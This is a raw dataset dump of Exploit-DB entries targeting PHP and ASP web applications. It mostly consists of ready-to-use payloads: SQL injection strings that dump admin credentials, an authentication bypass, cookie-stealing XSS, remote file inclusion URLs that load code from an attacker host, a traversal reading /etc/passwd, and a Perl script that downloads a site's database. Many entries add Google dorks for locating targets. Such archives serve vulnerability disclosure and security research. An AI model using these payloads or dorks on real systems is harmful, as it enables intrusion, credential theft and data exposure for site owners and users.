deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46643
Description: Ashop Shopping Cart Software - SQL Injection
Type: webapps
Platform: php
Date: 2019-04-03
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Ashop Shopping Cart Software - SQL Injection
# Date: 03.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: http://www.ashopsoftware.com
# Software Link: https://sourceforge.net/projects/ashop/
# Demo Site: http://demo.ashopsoftware.com/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/index.php?cat=1&exp=&shop=1
Vulnerable Parameter: shop (GET)
Payload: cat=1&exp=&shop=-5438') UNION ALL SELECT
CONCAT(0x71786b6a71,0x[PII_REDACTED]645143654a726369774c[PII_REDACTED]634a[PII_REDACTED]4d66506b46434f4b[PII_REDACTED],0x716a787671),NULL--
fmIb
Exploit-DB #27149
Description: Ashwebstudio Ashnews 0.83 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-30
Author: 0o_zeus_o0

Exploit:
source: https://www.securityfocus.com/bid/16426/info

Ashnews is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

Example URI have been provided:

http://www.example.com/[path]/ashnews.php?page=showcomments&id=<script><script>alert(document.cookie)</script>

http://www.example.com/[path]/ashnews.php?page=showcomments&id=[xss]
Exploit-DB #46426
Description: Ask Expert Script 3.0.5 - Cross Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2019-02-19
Author: Mr Winst0n

Exploit:
# Exploit Title: Ask Expert Script 3.0.5 - Cross Site Scripting / SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 19, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/ask-expert-script/
# Tested Version: 3.0.5
# Tested on: Kali linux, Windows 8.1 


# PoC:

# Cross Site Scripting:

# http://localhost/[PATH]/categorysearch.php?cateid=[XSS]
# http://localhost/[PATH]/categorysearch.php?cateid=<scRiPt>alert(1)</ScrIpT>

# SQL Injection:

# http://localhost/[PATH]/list-details.php?view=[SQL]
Exploit-DB #7166
Description: AskPert - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-19
Author: TR-ShaRk

Exploit:
##################WwW.TR-ShaRk.Co.cC###################
#AskPert  (Auth bypass) SQL Injection Vulnerability
##################WwW.TR-ShaRk.Co.cC###################

 ##################WwW.TR-ShaRk.Co.cC###################
 #[~] Author :  TR-ShaRk
 #[~] Msn : Starhack@tr-shark.org
 #[~] Web : WwW.TR-ShaRk.Co.cC
 #[~] I am Not Hacker
 #[~] Greetz :FATAL,STR0KE,ARANELWORM,CAKI_DECCAL,CEZOHAN,WEBLOADER
 #[~] Orospu Cocuklari; Elitehacker,Netshooter Kardesleri
 #
 #[!] Script: http://www.w3matter.com/products/askpert
 #[!] Google_Dork:  Powered by AskPert
 ##################WwW.TR-ShaRk.Co.cC###################


 Go to ask/index.php?section=user&action=login

 Use following information to bypass login.

 Write any email Address as email address.It must to be in email format.

 For exapmple Starhack@TR-ShaRk.OrG

 For password use ' or ' 1=1


 #[~] LiveDemo:
 http://www.w3matter.com/ask/index.php?section=user&action=login

 ##################WwW.TR-ShaRk.Co.cC###################
 Biz Hic Bir Zaman Kraliz Demedik Bunu Kanitladik | Ya Ezersin Yada Ezilirsin!
 ##################WwW.TR-ShaRk.Co.cC###################

# milw0rm.com [2008-11-19]
Exploit-DB #2654
Description: ask_rave 0.9 PR - 'end.php?footfile' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-26
Author: v1per-haCker

Exploit:
#==================================================================
#  ask_rave (RFI)
#==================================================================
# Info:-
#
# Scripts:  ask_rave
# Download: http://rave.jk-digital.com/site/scripts/files/ask_0_9PR.zip
# Version : 0.9 PR
# Dork & vuln : download scripts and think :)
#
#==================================================================
#Exploit :
#
#http://localhost/path/end.php?footfile=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |
#               ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net |
#           metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero
#And all members in XP10_hackEr Team
#Thanx to str0ke :)
#WWW.XP10.COM
#
===================================================================

# milw0rm.com [2006-10-26]
Exploit-DB #26021
Description: Asn Guestbook 1.5 - 'footer.php?version' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-22
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14356/info
 
Asn Guestbook is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/footer.php?version=<script>alert(document.cookie)</script>
Exploit-DB #26020
Description: Asn Guestbook 1.5 - 'header.php?version' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-22
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14356/info

Asn Guestbook is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/header.php?version=</title><script>alert(document.cookie)</script>
Exploit-DB #18613
Description: ASP Classifieds - SQL Injection
Type: webapps
Platform: php
Date: 2012-03-17
Author: r45c4l

Exploit:
# Exploit Title: ASP Classifieds Sql Injection
# Date: 17/03/2012
# Author: r45c4l
# Email: infosecpirate@gmail.com
# Script url: http://preproject.com/pclasp/home/default.asp
# Version: N/A
# CVE : ()

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Product Description :

ASP Classifieds is one of the most customizable Classified ad program
that exist for ASP and Access. Unlimited Images , unlimited categories
and much much more makes it perfect for those who wants to set up a used
stamps classifieds to those wanting to show and sell real estates. 


Product Cost : 58$



=======================Exploit====================================
                      ---ICW---
                                        
                                        
                                        
[ EXPL0!T ]

SQL Injection
p0c -
http://SERVER/classi/search.php?category=[SQli]

PoC - 

http://SERVER/classi/search.php?category=-1+union+all+select+version()--

[Note: Tested on demo website]

d0rk - use your brain ;)

===========================================================================
Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0,
Hoody, sam

All members of ICW, AH and darkc0de, and all Indian Hackers



Special Greetz to : b4ltazar and s1nner_01


=== End () ====
Exploit-DB #8852
Description: ASP Football Pool 2.3 - Remote Database Disclosure
Type: webapps
Platform: php
Date: 2009-06-01
Author: ByALBAYX

Exploit:
#!/usr/bin/perl
#
#
#ASP Football Pool v2.3
#
#Script    : ASP Football Pool v2.3
#
#Demo      : http://brainjar.com/AspFootballPool/demo1
#
#Download  : http://www.brainjar.com/AspFootballPool/download/AspFootballPool_2.3.zip
#
#              _.--"""""--._
#            .'             '.
#           /                 \
#          ;       C4TEAM      ;
#          |                   |
#          |                   |
#          ;                   ;                   ByALBAYX
#           \ (`'--,    ,--'`) /
#            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
#             ) )(')/  \(')( (
#            (_ `""` /\ `""` _)
#             \`"-, /  \ ,-"`/                       
#              `\ / `""` \ /`
#               |/\/\/\/\/\|                      
#               |\        /|
#               ; |/\/\/\| ;
#                \`-`--`-`/
#                 \      /
#                  ',__,'
#
#
#ASP Football Pool v2.3 Remote Database Disclosure Exploit
#
#Exploited ByALBAYX
##########
#


use lwp::UserAgent;

system('cls');
system('title ASP Football Pool v2.3 Database Disclosure Exploit');
system('color 2');
if (!defined($ARGV[0])) {print "[!] Usage : \n    exploit.pl http://site.com\n";exit();}
if ($ARGV[0] =~ /http:\/\// ) { $site = $ARGV[0]."/"; } else { $site = "http://".$ARGV[0]."/"; }
print "\n\n[-] ASP Football Pool v2.3 Database Disclosure Exploit\n";
print "[-]Exploited ByALBAYX \n\n\n";
print "[!] Exploiting $site ....\n";
my $site      = $ARGV[0] ;
my $target    = $site."/data/NFL.mdb" ;
my $useragent = LWP::UserAgent->new();
my $request   = $useragent->get($target,":content_file" => "c:/db.mdb");
if ($request->is_success) {print "[+] $site Kaydedildi! Git= c:/db.mdb";exit();}
else {print "[!] Exploit $site Failed !\n[!] ".$request->status_line."\n";exit();}

# milw0rm.com [2009-06-01]
Exploit-DB #32627
Description: ASP Forum Script - 'new_message.asp?forum_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32571/info
 
ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/[Path]/new_message.asp?topic_id=0&amp;message_id=0&amp;forum_id=&lt;meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'&gt;
Exploit-DB #7332
Description: ASP User Engine .NET - Remote Database Disclosure
Type: webapps
Platform: php
Date: 2008-12-03
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################



---------------------------- Tunisia Muslim ------------------------------


#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org


#contact  : AlpHa[AT]HACKER[DOT]BZ


###########################################################################

#script   : ASP User Engine .NET
#download : http://shop.robs-projects.com/UE_DotNET.html





#Exploit :
http://target.com/users.mdb


#special thanks for the dear DexTer for his help :$

###########################################################################

# milw0rm.com [2008-12-03]
Exploit-DB #30081
Description: ASP-Nuke 2.0.7 - 'news.asp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-24
Author: vagrant

Exploit:
source: https://www.securityfocus.com/bid/24135/info

ASP-Nuke is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

ASP-Nuke 2.0.7 is reported vulnerable; other versions may also be affected. 

http://www.example.com/news.asp?id="><script>alert("Vagrant")</script>
Exploit-DB #26645
Description: ASP-Rider 1.6 - 'default.asp' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: info@hoder.com

Exploit:
source: https://www.securityfocus.com/bid/15617/info

ASP-Rider is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

An example Referer header has been supplied:
http://[SQLINJECTION]
Exploit-DB #6590
Description: ASPapp Knowledge Base - 'CatId' SQL Injection (2)
Type: webapps
Platform: php
Date: 2008-09-27
Author: Crackers_Child

Exploit:
Dork -  content_by_cat.asp?contentid ''catid'' 

Exploit : 

content_by_cat.asp?contentid=99999999&catid=-99887766 UNION SELECT 0,null,password,3,accesslevel,5,null,7,null,user_name from users

Exploit 2 :

content_by_cat.asp?contentid=-99999999&catid=-99887766 union select 0,null,password,3,accesslevel,5,null,7,8,user_name from users

DownLoad Site : http://camyuva.bel.tr/who.php

# milw0rm.com [2008-09-27]
Exploit-DB #15205
Description: Aspect Ratio CMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-10-04
Author: Stephan Sattler

Exploit:
# Author: Stephan Sattler // http://www.solidmedia.de
# Software Website: http://www.meso.net
# Software Link: http://www.meso.net/aspekt-ratio
# Dork: inurl:w3.php?nodeId=
 
 
[ Vulnerability ]


# Explanation:

$_GET["nodeId"] isn't sanitized before executing the database query.
An attacker can use this for a blind SQL injection attack.


# Exploiting the Vulnerability // PoC:

URL: http://[site]/[path]/w3.php?nodeId=8348 and (select 1)=1 - will show the page
URL: http://[site]/[path]/w3.php?nodeId=8348 and (select 1)=0 - will show an error page by aspect ratio Cms
Exploit-DB #7463
Description: ASPSiteWare Automotive Dealer 1.0/2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-14
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Automotive Dealer V1/V2
#download : null
#Demo     :  http://www.aspsiteware.com/Auto1/
	     http://www.aspsiteware.com/auto2/auto2/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.aspsiteware.com/Auto1/type.asp?iType=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users#
http://www.aspsiteware.com/auto2/auto2/type.asp?iType=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users#

#Greetz For CrimeIRC NetWork  [ IRC.CrimeIRC.Net ] Syst3m UnkOwn and all Staff

###########################################################################

# milw0rm.com [2008-12-14]
Exploit-DB #7635
Description: ASPThai.Net WebBoard 6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-01
Author: DaiMon

Exploit:
ASPThai.Net Webboard 6.0(bview.asp) SQL Injection Vulnerability
#############################################
>>Autore: DaiMon
>>Email: cwdaimon[1]gmail.com
>>Site: http://www.cwdaimon.com
>>Version: 6.0
>>Download: http://www.aspthai.net/detailcode.asp?Mode=Load&DID=7&Redirect=QUHG/UKCD/RREP/VZssGGYUkedWebLtksjudROM
##############################################
>>>>
Bug In \bview.asp
>>>>
Google Dork:
allinurl:bview.asp?id=
>>>>
Exploit:
 
bview.asp?id=1+union+select+0,useradmin,2,3,4,passadmin,6,7,8+from+admin
##############################################
Special:PARS! & Equilibrium & KaYZeRSoZe & ALL Cyber-Warrior

# milw0rm.com [2009-01-01]
Exploit-DB #3458
Description: AssetMan 2.4a - 'download_pdf.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-03-11
Author: h4ck3r

Exploit:
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|AssetMan 2.4a <= (download_pdf.php) Remote File Disclosure Vulnerability
|
|Script: AssetMan
|
|Verson: 2.4a
|
|URL: http://www.bctree.com/~assetman/assetman-2.4a.zip
|
|Discover: BorN To K!LL
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|Bug in:
|download_pdf.php
|
|Code:
|readfile($_GET["pdf_file"]);
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|ExploiT:
|~~~~~
|wWw.SiTe.cOm/[path]/download_pdf.php?pdf_file=../../../../etc/passwd
|
|+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|GreeTz 2:
|Dr.2 - str0ke - AsbMay .....
|
|KuW SeC .... AsbMay's Group ....
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

# milw0rm.com [2007-03-11]
Exploit-DB #6490
Description: AssetMan 2.5-b - SQL Injection using Session Fixation
Type: webapps
Platform: php
Date: 2008-09-18
Author: Neo Anderson

Exploit:
============================================================
AssetMan v2.5-b   SQL Injection using Session Fixation Attack
============================================================

           ;               ,           
         ,;                 '.         
        ;:                   :;         
       ::                     ::       
       ::                     ::       
       ':                     :         
        :.                    :         
     ;' ::                   ::  '     
    .'  ';                   ;'  '.     
   ::    :;                 ;:    ::   
   ;      :;.             ,;:     ::   
   :;      :;:           ,;"      ::   
   ::.      ':;  ..,.;  ;:'     ,.;:   
    "'"...   '::,::::: ;:   .;.;""'     
        '"""....;:::::;,;.;"""         
    .:::.....'"':::::::'",...;::::;.   
   ;:' '""'"";.,;:::::;.'""""""  ':;   
  ::'         ;::;:::;::..         :;   
 ::         ,;:::::::::::;:..       :: 
 ;'     ,;;:;::::::::::::::;";..    ':. 
::     ;:"  ::::::"""'::::::  ":     :: 
 :.    ::   ::::::;  :::::::   :     ; 
  ;    ::   :::::::  :::::::   :    ;   
   '   ::   ::::::....:::::'  ,:   '   
    '  ::    :::::::::::::"   ::       
       ::     ':::::::::"'    ::       
       ':       """""""'      ::       
        ::                   ;:         
        ':;                 ;:"         
          ';              ,;'           
            "'           '"             
              ' 


AUTHOR : Neo Anderson   &   Rohit Bansal
DATE   : 19th Sept,2008
Email  : neo.whizzy@gmail.com & rohitisback@gmail.com

#####################################################

# Site        : http://www.bctree.com/~assetman
# Bug         : SQL Injection using Session Fixation Attack
# File        : search_inv.php
# Variable    : GET variable 'order_by'

#####################################################

# Impact of Vulnerability:

By exploiting this vulnerability, an attacker may conduct a session fixation attack. In a session fixation attack, the attacker fixes the user's session ID before the user even logs into the target server, thereby eliminating the need to obtain the user's session ID afterwards.

#####################################################

# Bug explanation - Session Fixation Attack/Meta Tag Exploitation:

By injecting a custom HTTP header or by injecting a META tag, it is possible to alter the cookies stored in the browser. Attackers will normally manipulate cookie values to fraudulently authenticate themselves on a web site.

#####################################################

# PoC:

http://127.0.0.1/assetman/search_inv.php?action=search_all&order_by=%3Cmeta+http-equiv='Set-cookie'+content='=value'%3E&order=DESC+limit+1,1--

#####################################################
# GreeTz
InfySec , str0ke & EvilFingers

www.infysec.com
www.evilfingers.com

#####################################################

# milw0rm.com [2008-09-18]
Exploit-DB #32600
Description: AssoCIateD 1.4.4 - 'menu' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-27
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/32499/info

AssoCIateD (ACID) is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ACID 1.4.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[acid_path]/index.php?p=search&menu=[XSS]
Exploit-DB #1858
Description: AssoCIateD CMS 1.1.3 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-01
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# ACID v1.1.3 CMS (root_path) - Remote File Include Vulnerabilities
# Script site: http://herve.labas.free.fr/acid/en/
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################


http://www.site.com/[ACID_path]/admin/menu.php?root_path=[evil_scripts]
http://www.site.com/[ACID_path]/admin/profile.php?root_path=[evil_scripts]
http://www.site.com/[ACID_path]/admin/users.php?root_path=[evil_scripts]
http://www.site.com/[ACID_path]/includes/cache_mngt.php?root_path=[evil_scripts]
http://www.site.com/[ACID_path]/includes/gallery_functions.php?root_path=[evil_scripts]

# milw0rm.com [2006-06-01]
Exploit-DB #5071
Description: Astanda Directory Project 1.2 - 'link_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-06
Author: you_kn0w

Exploit:
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=#
# ~Author: you_kn0w	                       #
# ~Contact: you-know[at]linuxmail[dot]org      #
# ~Website: www.youknowz.info                  # 
# ~Script: Astanda Directory Project           #
# ~Bug: APD Remote SQL Injection               #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#
#               Script Information             #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#    
#                                              # 
# Script name: Astanda Directory Project       #
# Script site: http://www.astanda.com/adp      #
# Script demo: http://www.astanda.com/adp/admin#
# Description: Search Engine                   #
# Version: v.1.2 & v.1.3                       #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=# 


# [-]Dorks:
             intext: Powered by APD
           intext: Â© Copyright 2005, 2006, Astanda.com, Pavel Golovko
         inurl:detail.php?link_id=

       


# [+]How To Exploit:
 
 
 http://[target].com/[path]/detail.php?link_id=-1/**/union/**/all/**/select/**/1,concat(0x3C68313E557365723A203C2F68313E,admin,0x3C68313E456D61696C3A203C2F68313E,email),null,null,0,0,1,1,1,1,0/**/from/**/config/*





# [+]Greetz:
 
 Greetz to; ka0x - Celciuz - JosS - Phanter-Root & Screamo

//you_kn0w
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# milw0rm.com [2008-02-06]